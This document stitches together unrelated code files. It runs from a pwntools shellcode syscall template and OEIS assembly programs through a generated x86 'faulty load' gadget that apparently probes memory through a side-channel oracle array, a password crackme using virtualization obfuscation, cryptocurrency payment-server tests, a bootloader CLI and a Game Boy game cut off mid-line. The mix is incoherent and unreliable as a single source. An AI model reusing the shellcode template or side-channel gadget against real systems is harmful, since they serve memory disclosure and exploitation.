%for name, arg in string_arguments.items(): ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\x00' not in arg))} ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)} %endfor %for name, arg in array_arguments.items(): ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)} %endfor %for name, arg in stack_arguments.items(): ${pwnlib.shellcraft.push(arg)} %endfor ${pwnlib.shellcraft.setregs(register_arguments)} ${pwnlib.shellcraft.syscall(syscall)}
; A000749: a(n) = 4a(n-1) - 6a(n-2) + 4a(n-3), n > 3, with a(0)=a(1)=a(2)=0, a(3)=1. ; 0,0,0,1,4,10,20,36,64,120,240,496,1024,2080,4160,8256,16384,32640,65280,130816,262144,524800,1049600,2098176,4194304,8386560,16773120,33550336,67108864,134225920,268451840,536887296,1073741824,2147450880,4294901760,8589869056,17179869184,34359869440,68719738880,137439215616,274877906944,549755289600,1099510579200,2199022206976,4398046511104,8796095119360,17592190238720,35184376283136,70368744177664,140737479966720,281474959933440,562949936644096,1125899906842624,2251799847239680,4503599694479360,9007199321849856 mov $3,$0 mov $4,79 lpb $4,1 mov $2,$3 bin $2,$4 add $1,$2 sub $4,4 lpe
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %rbx lea addresses_WC_ht+0x19db4, %rbx nop nop xor %r11, %r11 movb (%rbx), %r12b nop nop nop add %r11, %r11 pop %rbx pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r12 push %r13 push %r15 push %r9 push %rbp push %rdi push %rsi // Store lea addresses_A+0x2af2, %rdi nop sub %rsi, %rsi movb $0x51, (%rdi) // Exception!!! nop nop nop nop mov (0), %rbp nop and %rsi, %rsi // Load lea addresses_WC+0x148bc, %rdi nop nop cmp $38526, %rbp vmovups (%rdi), %ymm4 vextracti128 $1, %ymm4, %xmm4 vpextrq $0, %xmm4, %r15 nop nop cmp $22608, %rsi // Faulty Load lea addresses_WT+0xc2bc, %r15 sub $11072, %r9 mov (%r15), %r12 lea oracles, %r13 and $0xff, %r12 shlq $12, %r12 mov (%r13,%r12,1), %r12 pop %rsi pop %rdi pop %rbp pop %r9 pop %r15 pop %r13 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_WT', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_A', 'same': False, 'size': 1, 'congruent': 1, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} {'src': {'type': 'addresses_WC', 'same': False, 'size': 32, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_WT', 'same': True, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 1, 'congruent': 3, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'} {'39': 204} 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 */
.486 ; 386 Processor Instruction Set .model flat,stdcall ; Flat memory model and stdcall method option casemap:none ; Case Sensitive ;Libaries and Include files used in this project ; Windows.inc defines alias (such as NULL and STD_OUTPUT_HANDLE in this code include \masm32\include\windows.inc ; Functions that we use (GetStdHandle, WriteConsole, and ExitProcess) ; Listing of all available functions in kernel32.lib include \masm32\include\kernel32.inc ; Actuall byte code available of the functions includelib \masm32\lib\kernel32.lib ;6 registers, 0x00 - 0x06", 0ah, ;pushc - 0x00, {DWORD} ;pushr - 0x01, {0x00-0x05} ;popv - 0x02 {0x00-0x05} pop data on stack to register ;add - 0x04 {0x00-0x05}, {0x00-0x05} - Adds two registers, stores result in stack ;sub - 0x05 {0x00-0x05}, {0x00-0x05} - Subtracts 2 operand from 1 operand, result in stack ;jnz - 0x06 {DWORD} - Pops value from stack and jumps VP by operand if not zero ;exit - 0x09 exits vm, coppies register 0 over to eax ;popmb - 0x0A {0x00-0x05} pops data from stacck as a byte pointer ;dec - 0x0B {0x00-0x05} decrements 1 from register ;r5 is considered the stack pointer .data ; Labels that with the allocated data (in this case Hello World!...) that are aliases to memory. output_intro db "This application demonstrates obfuscation by virtualization.", 0h output_author db "Written by Jeremy Wildsmith. Hosted at the following GitHub URL: https://github.com/JeremyWildsmith/StackLang", 0ah, 0h output_incorrect_password db "Incorrect password, sorry! Persistence is key.", 0h output_correct_password db "Congrats, you provided the correct password!", 0ah, 0h output_provide_password db "You must provide a password to be checked against in the command line arguments.", 0ah, 0h ;argument, pointer to string vm_computeCorrectPassword db 02h, 02h ;pop address of string to register 2 ;Initialize r4 to 0 - dont need to ;push constant 4 db 00h, 00h, 00h, 00h, 05h ;pushc 4 db 02h, 01h ; popv r1 ;Loop, instruction index 9 db 0Bh, 01h ; dec r1 db 04h, 01h, 02h ; Add r1, r2 -> stack db 0Ah, 03h ; popmb r3 db 04h, 04h, 03h ; Add r3, r4 db 02h, 04h ; popv r4 db 01h, 01h ; pushr r1 (index) to stack db 06h, 0ffh, 0ffh, 0ffh, 0f2h ; jnz, go back 14 bytes ;Compare computed hash to pre-computed valid hash. db 00h, 00h, 00h, 02h, 014h ; pushc 0x1b4 db 02h, 00h ; popv r0 db 05h, 04h, 00h ; sub r4, r0 db 02h, 00h ; popv r0 db 09h; exit, copy r0 to eax, return to invoker .code helloString db "hello", 0h vm_pushc: push ebp mov ebp, esp ;Add to VP by instruction size mov eax, [ebx] inc eax mov ecx, dword ptr [eax] ;Put operand in ecx bswap ecx ; Swap endianess add eax, 4 mov [ebx], eax mov eax, [ebx + 4 * 6] ;Access r5 /stack pointer sub eax, 4 mov [eax], ecx mov [ebx + 4 * 6], eax ; Increment stack pointer xor eax, eax pop ebp ret vm_pushr: push ebp mov ebp, esp ;Add to VP by instruction size mov ecx, [ebx] inc ecx xor eax, eax ;Clear eax register mov al, byte ptr [ecx] ;Put operand in ecx inc ecx mov [ebx], ecx ; Update VP inc eax ;r0 starts at offset 1 mov ecx, 4 mul ecx add eax, ebx ;Calculate offset to register mov ecx, dword ptr [eax] ;push register value to the stack mov eax, [ebx + 4 * 6] ;Access r5 /stack pointer sub eax, 4 mov [eax], ecx mov [ebx + 4 * 6], eax ; Increment stack pointer xor eax, eax pop ebp ret vm_popv: push ebp mov ebp, esp ;Add to VP by instruction size mov ecx, [ebx] inc ecx xor eax, eax ;Clear eax register mov al, byte ptr [ecx] ;Put operand in ecx inc ecx mov [ebx], ecx ; Update VP inc eax ;r0 starts at offset 1 mov ecx, 4 mul ecx add eax, ebx ;Calculate offset to register ;Pop value from stack into register mov ecx, [ebx + 4 * 6] ;Access r5 /stack pointer mov edx, dword ptr [ecx] ;Get value at stack pointer mov dword ptr [eax], edx ;put value into register add ecx, 4 mov [ebx + 4 * 6], ecx ; Increment stack pointer xor eax, eax pop ebp ret vm_add: push ebp mov ebp, esp ;Add to VP by instruction size mov ecx, [ebx] inc ecx xor eax, eax ;Clear eax register mov al, byte ptr [ecx] ;Put operand in al inc ecx xor edx, edx mov dl, byte ptr [ecx] ;Put operand in dl inc ecx mov [ebx], ecx ; Update VP inc eax ;r0 starts at offset 1 inc edx ; ^ mov ecx, 4 push edx mul ecx pop edx xchg eax, edx push edx mul ecx pop edx add eax, ebx ;Calculate offset to register add edx, ebx ; ^ ;At this point, EDX contains address of operand 0, and EAX contains address of operand 1 mov edx, dword ptr [edx] add edx, dword ptr [eax] ;Push result to stack mov eax, [ebx + 4 * 6] ;Access r5 /stack pointer sub eax, 4 mov [eax], edx mov [ebx + 4 * 6], eax ; Increment stack pointer xor eax, eax pop ebp ret vm_sub: push ebp mov ebp, esp ;Add to VP by instruction size mov ecx, [ebx] inc ecx xor eax, eax ;Clear eax register mov al, byte ptr [ecx] ;Put operand in al inc ecx xor edx, edx mov dl, byte ptr [ecx] ;Put operand in dl inc ecx mov [ebx], ecx ; Update VP inc eax ;r0 starts at offset 1 inc edx ; ^ mov ecx, 4 push edx mul ecx pop edx xchg eax, edx push edx mul ecx pop edx add eax, ebx ;Calculate offset to register add edx, ebx ; ^ ;At this point, EDX contains address of operand 0, and EAX contains address of operand 1 mov edx, dword ptr [edx] sub edx, dword ptr [eax] ;Push result to stack mov eax, [ebx + 4 * 6] ;Access r5 /stack pointer sub eax, 4 mov [eax], edx mov [ebx + 4 * 6], eax ; Increment stack pointer xor eax, eax pop ebp ret vm_jnz: push ebp mov ebp, esp ;Pop value from stack into register mov ecx, [ebx + 4 * 6] ;Access r5 /stack pointer mov edx, dword ptr [ecx] ;Get value at stack pointer add ecx, 4 mov [ebx + 4 * 6], ecx ; Increment stack pointer cmp edx, 0 je vm_jnz_nextInstr ;If not zero, perform jump ;Get operand mov eax, [ebx] mov ecx, [eax + 1] ; get operand bswap ecx ;Swap endianess add eax, ecx ;Add to virtual pointer. mov [ebx], eax ; Update vp jmp vm_jnz_end vm_jnz_nextInstr: ;Add to VP by instruction size mov eax, [ebx] add eax, 5 mov [ebx], eax vm_jnz_end: xor eax, eax pop ebp ret vm_exit: mov eax, 1 ret vm_popmb: push ebp mov ebp, esp ;Add to VP by instruction size mov ecx, [ebx] inc ecx xor eax, eax mov al, byte ptr[ecx] ;Extract register destination to al inc ecx mov [ebx], ecx ;EAX contains register number ;Pop value from stack into register mov ecx, [ebx + 4 * 6] ;Access r5 /stack pointer mov edx, dword ptr [ecx] ;Get value at stack pointer add ecx, 4 mov [ebx + 4 * 6], ecx ; Increment stack pointer ;Treat stack data as a byte pointer, dereference it to get the byte mov dl, byte ptr [edx] and edx, 0ffh ;Apply mask to just get byte inc eax ;R0 starts at offset 1 mov ecx, 4 push edx mul eax pop edx add eax, ebx mov [eax], edx ;Copy value into register xor eax, eax pop ebp ret vm_dec: push ebp mov ebp, esp ;Add to VP by instruction size mov ecx, [ebx] inc ecx xor eax, eax ;Clear eax register mov al, byte ptr [ecx] ;Put operand in ecx inc ecx mov [ebx], ecx ; Update VP inc eax ;r0 starts at offset 1 mov ecx, 4 mul ecx add eax, ebx ;Calculate offset to register mov ecx, dword ptr [eax] dec ecx ;Decrement register mov dword ptr [eax], ecx ;put value back into register. xor eax, eax pop ebp ret vm_handlers_jump_table: dd vm_pushc, vm_pushr, vm_popv, 0, vm_add, vm_sub, vm_jnz, 0, 0, vm_exit, vm_popmb, vm_dec loopVm: push ebp mov ebp, esp mov ebx, [ebp + 8h] loopVm_execLoop: mov ecx, dword ptr[ebx] ;Gets instruction code. xor eax, eax mov al, byte ptr [ecx] ;Multiply by size of DWORD mov ecx, 4 mul ecx add eax, vm_handlers_jump_table call dword ptr [eax] cmp eax, 0 je loopVm_execLoop mov eax, [ebx + 4] pop ebp ret initVm: push ebp mov ebp, esp push 0BADF00Dh mov eax, [ebp + 12] push eax mov ecx, esp sub esp, 30 * 4 ; 30 dword of stack space push ecx ;r5 / stack pointer push 0 ;offset 20, r4 push 0 ;offset 16, r3 push 0 ;offset 12, r2 push 0 ;offset 8, r1 push 0 ;offset 4, r0 push [ebp + 8h] ;offset 0, push vp on to stack push esp call loopVm add esp, 8*4 ; Clean-up stack add esp, 30*4 ;Clean-up vm stack space add esp, 4 * 2 ; Clean-up badfood constant. pop ebp ret start: invoke GetStdHandle, STD_OUTPUT_HANDLE invoke WriteConsole, eax, addr output_intro, sizeof output_intro, ebx, NULL invoke GetStdHandle, STD_OUTPUT_HANDLE invoke WriteConsole, eax, addr output_author, sizeof output_author, ebx, NULL call GetCommandLineA mov ecx, ' ' cmp byte ptr [eax], '"' jne find_args mov ecx, '"' find_args: inc eax cmp byte ptr [eax], 0 je provide_password cmp byte ptr [eax], cl jne find_args inc eax cmp byte ptr [eax], 0 je provide_password inc eax ; Move past white space character. push eax push offset vm_computeCorrectPassword call initVm cmp eax, 0 je correct_password invoke GetStdHandle, STD_OUTPUT_HANDLE invoke WriteConsole, eax, addr output_incorrect_password, sizeof output_incorrect_password, ebx, NULL invoke ExitProcess, 0 ; -------------------------------------------------------------------------------------------------------------------------------------- provide_password: invoke GetStdHandle, STD_OUTPUT_HANDLE invoke WriteConsole, eax, addr output_provide_password, sizeof output_provide_password, ebx, NULL invoke ExitProcess, 0 correct_password: invoke GetStdHandle, STD_OUTPUT_HANDLE invoke WriteConsole, eax, addr output_correct_password, sizeof output_correct_password, ebx, NULL invoke ExitProcess, 0 end start
// Copyright (c) 2009-2017 The Bitcoin Core developers // Copyright (c) 2019 The JNitaCoin Core developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include <qt/test/paymentservertests.h> #include <qt/optionsmodel.h> #include <qt/test/paymentrequestdata.h> #include <amount.h> #include <random.h> #include <script/script.h> #include <script/standard.h> #include <util.h> #include <utilstrencodings.h> #include <openssl/x509.h> #include <openssl/x509_vfy.h> #include <QFileOpenEvent> #include <QTemporaryFile> X509 *parse_b64der_cert(const char* cert_data) { std::vector<unsigned char> data = DecodeBase64(cert_data); assert(data.size() > 0); const unsigned char* dptr = data.data(); X509 *cert = d2i_X509(nullptr, &dptr, data.size()); assert(cert); return cert; } // // Test payment request handling // static SendCoinsRecipient handleRequest(PaymentServer* server, std::vector<unsigned char>& data) { RecipientCatcher sigCatcher; QObject::connect(server, SIGNAL(receivedPaymentRequest(SendCoinsRecipient)), &sigCatcher, SLOT(getRecipient(SendCoinsRecipient))); // Write data to a temp file: QTemporaryFile f; f.open(); f.write((const char*)data.data(), data.size()); f.close(); // Create a QObject, install event filter from PaymentServer // and send a file open event to the object QObject object; object.installEventFilter(server); QFileOpenEvent event(f.fileName()); // If sending the event fails, this will cause sigCatcher to be empty, // which will lead to a test failure anyway. QCoreApplication::sendEvent(&object, &event); QObject::disconnect(server, SIGNAL(receivedPaymentRequest(SendCoinsRecipient)), &sigCatcher, SLOT(getRecipient(SendCoinsRecipient))); // Return results from sigCatcher return sigCatcher.recipient; } void PaymentServerTests::paymentServerTests() { SelectParams(CBaseChainParams::MAIN); OptionsModel optionsModel; PaymentServer* server = new PaymentServer(nullptr, false); X509_STORE* caStore = X509_STORE_new(); X509_STORE_add_cert(caStore, parse_b64der_cert(caCert1_BASE64)); PaymentServer::LoadRootCAs(caStore); server->setOptionsModel(&optionsModel); server->uiReady(); std::vector<unsigned char> data; SendCoinsRecipient r; QString merchant; // Now feed PaymentRequests to server, and observe signals it produces // This payment request validates directly against the // caCert1 certificate authority: data = DecodeBase64(paymentrequest1_cert1_BASE64); r = handleRequest(server, data); r.paymentRequest.getMerchant(caStore, merchant); QCOMPARE(merchant, QString("testmerchant.org")); // Signed, but expired, merchant cert in the request: data = DecodeBase64(paymentrequest2_cert1_BASE64); r = handleRequest(server, data); r.paymentRequest.getMerchant(caStore, merchant); QCOMPARE(merchant, QString("")); // 10-long certificate chain, all intermediates valid: data = DecodeBase64(paymentrequest3_cert1_BASE64); r = handleRequest(server, data); r.paymentRequest.getMerchant(caStore, merchant); QCOMPARE(merchant, QString("testmerchant8.org")); // Long certificate chain, with an expired certificate in the middle: data = DecodeBase64(paymentrequest4_cert1_BASE64); r = handleRequest(server, data); r.paymentRequest.getMerchant(caStore, merchant); QCOMPARE(merchant, QString("")); // Validly signed, but by a CA not in our root CA list: data = DecodeBase64(paymentrequest5_cert1_BASE64); r = handleRequest(server, data); r.paymentRequest.getMerchant(caStore, merchant); QCOMPARE(merchant, QString("")); // Try again with no root CA's, verifiedMerchant should be empty: caStore = X509_STORE_new(); PaymentServer::LoadRootCAs(caStore); data = DecodeBase64(paymentrequest1_cert1_BASE64); r = handleRequest(server, data); r.paymentRequest.getMerchant(caStore, merchant); QCOMPARE(merchant, QString("")); // Load second root certificate caStore = X509_STORE_new(); X509_STORE_add_cert(caStore, parse_b64der_cert(caCert2_BASE64)); PaymentServer::LoadRootCAs(caStore); QByteArray byteArray; // For the tests below we just need the payment request data from // paymentrequestdata.h parsed + stored in r.paymentRequest. // // These tests require us to bypass the following normal client execution flow // shown below to be able to explicitly just trigger a certain condition! // // handleRequest() // -> PaymentServer::eventFilter() // -> PaymentServer::handleURIOrFile() // -> PaymentServer::readPaymentRequestFromFile() // -> PaymentServer::processPaymentRequest() // Contains a testnet paytoaddress, so payment request network doesn't match client network: data = DecodeBase64(paymentrequest1_cert2_BASE64); byteArray = QByteArray((const char*)data.data(), data.size()); r.paymentRequest.parse(byteArray); // Ensure the request is initialized, because network "main" is default, even for // uninitialized payment requests and that will fail our test here. QVERIFY(r.paymentRequest.IsInitialized()); QCOMPARE(PaymentServer::verifyNetwork(r.paymentRequest.getDetails()), false); // Expired payment request (expires is set to 1 = 1970-01-01 00:00:01): data = DecodeBase64(paymentrequest2_cert2_BASE64); byteArray = QByteArray((const char*)data.data(), data.size()); r.paymentRequest.parse(byteArray); // Ensure the request is initialized QVERIFY(r.paymentRequest.IsInitialized()); // compares 1 < GetTime() == false (treated as expired payment request) QCOMPARE(PaymentServer::verifyExpired(r.paymentRequest.getDetails()), true); // Unexpired payment request (expires is set to 0x7FFFFFFFFFFFFFFF = max. int64_t): // 9223372036854775807 (uint64), 9223372036854775807 (int64_t) and -1 (int32_t) // -1 is 1969-12-31 23:59:59 (for a 32 bit time values) data = DecodeBase64(paymentrequest3_cert2_BASE64); byteArray = QByteArray((const char*)data.data(), data.size()); r.paymentRequest.parse(byteArray); // Ensure the request is initialized QVERIFY(r.paymentRequest.IsInitialized()); // compares 9223372036854775807 < GetTime() == false (treated as unexpired payment request) QCOMPARE(PaymentServer::verifyExpired(r.paymentRequest.getDetails()), false); // Unexpired payment request (expires is set to 0x8000000000000000 > max. int64_t, allowed uint64): // 9223372036854775808 (uint64), -9223372036854775808 (int64_t) and 0 (int32_t) // 0 is 1970-01-01 00:00:00 (for a 32 bit time values) data = DecodeBase64(paymentrequest4_cert2_BASE64); byteArray = QByteArray((const char*)data.data(), data.size()); r.paymentRequest.parse(byteArray); // Ensure the request is initialized QVERIFY(r.paymentRequest.IsInitialized()); // compares -9223372036854775808 < GetTime() == true (treated as expired payment request) QCOMPARE(PaymentServer::verifyExpired(r.paymentRequest.getDetails()), true); // Test BIP70 DoS protection: unsigned char randData[BIP70_MAX_PAYMENTREQUEST_SIZE + 1]; GetRandBytes(randData, sizeof(randData)); // Write data to a temp file: QTemporaryFile tempFile; tempFile.open(); tempFile.write((const char*)randData, sizeof(randData)); tempFile.close(); // compares 50001 <= BIP70_MAX_PAYMENTREQUEST_SIZE == false QCOMPARE(PaymentServer::verifySize(tempFile.size()), false); // Payment request with amount overflow (amount is set to 21000001 BTC): data = DecodeBase64(paymentrequest5_cert2_BASE64); byteArray = QByteArray((const char*)data.data(), data.size()); r.paymentRequest.parse(byteArray); // Ensure the request is initialized QVERIFY(r.paymentRequest.IsInitialized()); // Extract address and amount from the request QList<std::pair<CScript, CAmount> > sendingTos = r.paymentRequest.getPayTo(); for (const std::pair<CScript, CAmount>& sendingTo : sendingTos) { CTxDestination dest; if (ExtractDestination(sendingTo.first, dest)) QCOMPARE(PaymentServer::verifyAmount(sendingTo.second), false); } delete server; } void RecipientCatcher::getRecipient(const SendCoinsRecipient& r) { recipient = r; }
; A293544: a(n) is the integer k that minimizes | k/Fibonacci(n) - 1/3 |. ; 0,0,0,1,1,2,3,4,7,11,18,30,48,78,126,203,329,532,861,1394,2255,3649,5904,9552,15456,25008,40464,65473,105937,171410,277347,448756,726103,1174859,1900962,3075822,4976784,8052606,13029390,21081995,34111385,55193380,89304765,144498146,233802911,378301057,612103968,990405024,1602508992,2592914016,4195423008,6788337025,10983760033,17772097058,28755857091,46527954148,75283811239,121811765387,197095576626,318907342014,516002918640,834910260654,1350913179294,2185823439947,3536736619241,5722560059188,9259296678429,14981856737618,24241153416047,39223010153665,63464163569712,102687173723376,166151337293088,268838511016464,434989848309552,703828359326017,1138818207635569,1842646566961586,2981464774597155,4824111341558740,7805576116155895,12629687457714635,20435263573870530,33064951031585166,53500214605455696,86565165637040862,140065380242496558,226630545879537419,366695926122033977,593326472001571396,960022398123605373,1553348870125176770,2513371268248782143,4066720138373958913,6580091406622741056,10646811544996699968,17226902951619441024,27873714496616140992,45100617448235582016,72974331944851723009 trn $0,1 seq $0,187107 ; Number of nontrivial compositions of differential operations and directional derivative of the n-th order on the space R^9. div $0,3 sub $0,2
; ***** CLI (Command Line Interface ***** ; -------------------- [ Routine: cli_init ] -------------------- ; ----------- Initialises the Command Line Interface ------------ cli_init: call cli_clear ret ; -------------------- [ Routine: cli_user_input ] -------------------- ; ----------------------- handles CLI user input ---------------------- cli_user_input: call read_keypress ; handle special scan codes cmp al, 0x0d je _handle_enter cmp ax, SCANCODE_LEFT je _handle_bksp cmp ax, SCANCODE_RIGHT je _handle_right cmp al, 0x08 je _handle_bksp ; print (if not special scan code) call print_char ; store character mov dx, [CURSOR_POS] mov bx, INPUT_TEXT add bx, dx mov byte [bx], al ; increment cursor pos inc dx mov [CURSOR_POS], dx ret _handle_enter: call cli_enter ret _handle_bksp: call cli_bksp ret _handle_right: ret cli_enter: call print_newline ; parse input push INPUT_TEXT push ' ' push CURR_CMD call parse_string add esp, 6 ; increment and store return pointer add ax, 1 mov [CURR_ARGS], ax ; TODO: pass to function that handles command _cli_test_echo: mov bx, CURR_CMD push bx mov bx, STR_CMD_ECHO push bx call compare_strings pop bx pop bx test ax, ax jne _cli_invalid_command call cli_echo jmp _cli_clear_return _cli_invalid_command: push STR_ERR_INVALCMD call print_string pop bx call print_newline _cli_clear_return: call cli_clear ret cli_echo: push word [CURR_ARGS] call print_string pop bx call print_newline ret cli_bksp: call move_cursor_left mov al, ' ' call print_char_at_cursor ; decrement cursor pos mov dx, [CURSOR_POS] dec dx mov [CURSOR_POS], dx ; erase character mov bx, INPUT_TEXT add bx, dx mov word [bx], 0x00 ret cli_clear: ; reset cursor pos mov word [CURSOR_POS], 0x0000 ; clear input text push word INPUT_TEXT push 0x0100 push 0x00 call memset add esp, 6 ; clear cmd text push word CURR_CMD push 0x0010 push 0x00 call memset add esp, 6 ret STR_CMD_ECHO db "echo",0 STR_ERR_INVALCMD db "Invalid command",0 CURSOR_POS dw 0x0000 INPUT_TEXT times 256 dw 0x00 CURR_CMD times 16 db 0x00 CURR_ARGS dw 0x0000 ; *** CONSTANTS *** SCANCODE_LEFT equ 0x4b00 SCANCODE_RIGHT equ 0x4d00
; A097071: Number of Shubnikov compounds. ; 1,2,3,5,6,10,12,18,23,30 mul $0,2 lpb $0 mov $2,$0 trn $0,7 seq $2,49641 ; a(n) = Sum_{i=0..n} ((-1)^i)*T(i,n-i), array T as in A049639. add $3,$2 sub $3,1 lpe mov $0,$3 add $0,1
include "hardware.inc" ; some game definitons ; OAM stuff ; ----------------- _PLAYER_SPRITE_POS_Y EQU _OAMRAM _PLAYER_SPRITE_POS_X EQU _PLAYER_SPRITE_POS_Y + 1 _PLAYER_SPRITE_INDEX EQU _PLAYER_SPRITE_POS_X + 1 _PLAYER_SPRITE_ATTR EQU _PLAYER_SPRITE_INDEX + 1 _ITEM_SPRITE_POS_Y EQU _PLAYER_SPRITE_ATTR + 1 _ITEM_SPRITE_POS_X EQU _ITEM_SPRITE_POS_Y + 1 _ITEM_SPRITE_INDEX EQU _ITEM_SPRITE_POS_X + 1 _ITEM_SPRITE_ATTR EQU _ITEM_SPRITE_INDEX + 1 _SCORE_DIGIT_1_SPRITE_POS_Y EQU _ITEM_SPRITE_ATTR + 1 _SCORE_DIGIT_1_SPRITE_POS_X EQU _SCORE_DIGIT_1_SPRITE_POS_Y + 1 _SCORE_DIGIT_1_SPRITE_INDEX EQU _SCORE_DIGIT_1_SPRITE_POS_X + 1 _SCORE_DIGIT_1_SPRITE_ATTR EQU _SCORE_DIGIT_1_SPRITE_INDEX + 1 _SCORE_DIGIT_2_SPRITE_POS_Y EQU _SCORE_DIGIT_1_SPRITE_ATTR + 1 _SCORE_DIGIT_2_SPRITE_POS_X EQU _SCORE_DIGIT_2_SPRITE_POS_Y + 1 _SCORE_DIGIT_2_SPRITE_INDEX EQU _SCORE_DIGIT_2_SPRITE_POS_X + 1 _SCORE_DIGIT_2_SPRITE_ATTR EQU _SCORE_DIGIT_2_SPRITE_INDEX + 1 _SCORE_DIGIT_3_SPRITE_POS_Y EQU _SCORE_DIGIT_2_SPRITE_ATTR + 1 _SCORE_DIGIT_3_SPRITE_POS_X EQU _SCORE_DIGIT_3_SPRITE_POS_Y + 1 _SCORE_DIGIT_3_SPRITE_INDEX EQU _SCORE_DIGIT_3_SPRITE_POS_X + 1 _SCORE_DIGIT_3_SPRITE_ATTR EQU _SCORE_DIGIT_3_SPRITE_INDEX + 1 ; numeric constants ; ----------------- _PLAYER_TILE_HORIZONTAL_VALUE EQU 8 _PLAYER_TILE_VERTICAL_VALUE EQU 9 _PLAYER_SPEED_DELAY_VALUE EQU 9000 _PLAYER_INITIAL_POS_Y EQU 16 + (10 * 8) _PLAYER_INITIAL_POS_X EQU 8 + (3 * 8) _PLAYER_INITIAL_SEGMENTS EQU 4 ; after setting the segments they're decremented, so the final viewed segments will be -1 _ITEM_TILE EQU 10 _ITEM_INITIAL_POS_Y EQU 16 + (5 * 8) _ITEM_INITIAL_POS_X EQU 8 + (10 * 8) _SEGMENTS_TTL_TOTAL EQU 32 * 16 + 19 ; the "right" part will be unused, indeed, maybe we can map this to a continuous segment... _BLANK_TILE EQU 0 _SEGMENT_TILE EQU 7 _TILE_NUMBERS_OFFSET EQU $10 ; tile with "0" _TILE_NUMBERS_OFFSET_MAX EQU $19 ; tile with "9" ; ram values ; ---------- _JOYPAD_STATE EQU _RAM _PLAYER_INDEX_SPRITE EQU _RAM + 1 _PLAYER_DIR_Y EQU _RAM + 2 _PLAYER_DIR_X EQU _RAM + 3 _PLAYER_POS_Y EQU _RAM + 4 _PLAYER_POS_X EQU _RAM + 5 _PLAYER_MIRRORED_Y EQU _RAM + 6 ; mirrored for sprites _PLAYER_MIRRORED_X EQU _RAM + 7 _ITEM_POS_Y EQU _RAM + 8 _ITEM_POS_X EQU _RAM + 9 _ITEM_PICKED EQU _RAM + 10 _PSEUDORANDOM_VAL EQU _RAM + 11 ; from FF04, Divider Register, updated on every joypad interrupt _SCORE_VAL EQU _RAM + 12 _PLAYER_SEGMENTS_COUNT EQU _RAM + 13 ; limited to 255 segments (8 bits) _SEGMENTS_TTL EQU _RAM + 14 ; the rest of the ram, basically section "Joypad interrupt", ROM0[$60] ; joypad interrupt entry point (8 instr max) ; update pseudorandom_val on every "valid" button press ; (enough for our "random stuff") ld a, [rDIV] ld [_PSEUDORANDOM_VAL], a call set_joypad_state ret ; do not enable interrupts again section "Header", ROM0[$100] di ; Disable interrupts jp start ; ; set space for the header rept $150 - $104 db 0 endr section "Game code", ROM0 start: ; set BG and first palette (the same) ld a, %11100100 ld [rBGP], a ld [rOBP0], a ; rSCY and rSCX, the scroll xor a ld [rSCY], a ld [rSCX], a ; prepare the interrupts (joypad only) ld hl, rIE ld a, IEF_HILO ld [hl], a ; set default variables, clean unclear values, etc call init_logic call shutdown_LCD ; before entering the game loop show a title screen ; (kinda "press any key to continue") ; ----------------------------------------------- ; just load some initial tiles and one background call clean_oam ; load intro tiles to VRAM ld bc, Intro_tiles ; data source ld de, Intro_tiles_end - Intro_tiles ; data length ld hl, _VRAM ; data destination, in this case VRAM + offset 0 (it's the first element) call memcopy ; load intro map ld bc, Intro_map ld de, Intro_map_end - Intro_map ld hl, _SCRN0 call memcopy ; show screen ld a, LCDCF_ON|LCDCF_BG8000|LCDCF_BG9800|LCDCF_BGON|LCDCF_OBJ8|LCDCF_OBJON ld [rLCDC], a .intro_loop: call set_joypad_state ld a, [_JOYPAD_STATE] or a jr z, .intro_loop ;button press, do fade out and shutdown screen call wait_vblank call fade_out call shutdown_LCD ; reset joypad state xor a ld [_JOYPAD_STATE], a ; reset the palette ld a, %11100100 ld [rBGP], a ld [rOBP0], a ; ----------------------------------------------- ; continue with regular game init call load_graphics ; show screen ; tiles on $80000 (init of _VRAM) ; background on $9800 (init of _SCRN0) ; show background and enable objects (8x8) ld a, LCDCF_ON|LCDCF_BG8000|LCDCF_BG9800|LCDCF_BGON|LCDCF_OBJ8|LCDCF_OBJON ld [rLCDC], a game_loop: call move_player di ; disable interrupts while drawing stuff on screen (not the best way to handle controls, I know) call process_draw_segments ei call draw_player call draw_item call check_collisions ; "speed" delay ld bc, _PLAYER_SPEED_DELAY_VALUE call delay ; repeat jp game_loop ; ------------------------------------------ ; only one call when start playing; set the backgrounds, oam... ; calls some graphics functions that are called after each game_over ; event (like the one that restarts the background) load_graphics: ; load tiles to VRAM ld bc, Back_tiles ; data source ld de, Back_tiles_end - Back_tiles ; data length ld hl, _VRAM ; data destination, in this case VRAM + offset 0 (it's the first element) call memcopy ld bc, Snake_heads_tiles ; data source ld de, Snake_heads_tiles_end - Snake_heads_tiles ; data length 2 8x8 tiles (hor and ver), 32 bytes ld hl, _VRAM + (Back_tiles_end - Back_tiles) ; previous tiles call memcopy ld bc, Item_tiles ; data source ld de, Item_tiles_end - Item_tiles ld hl, _VRAM + 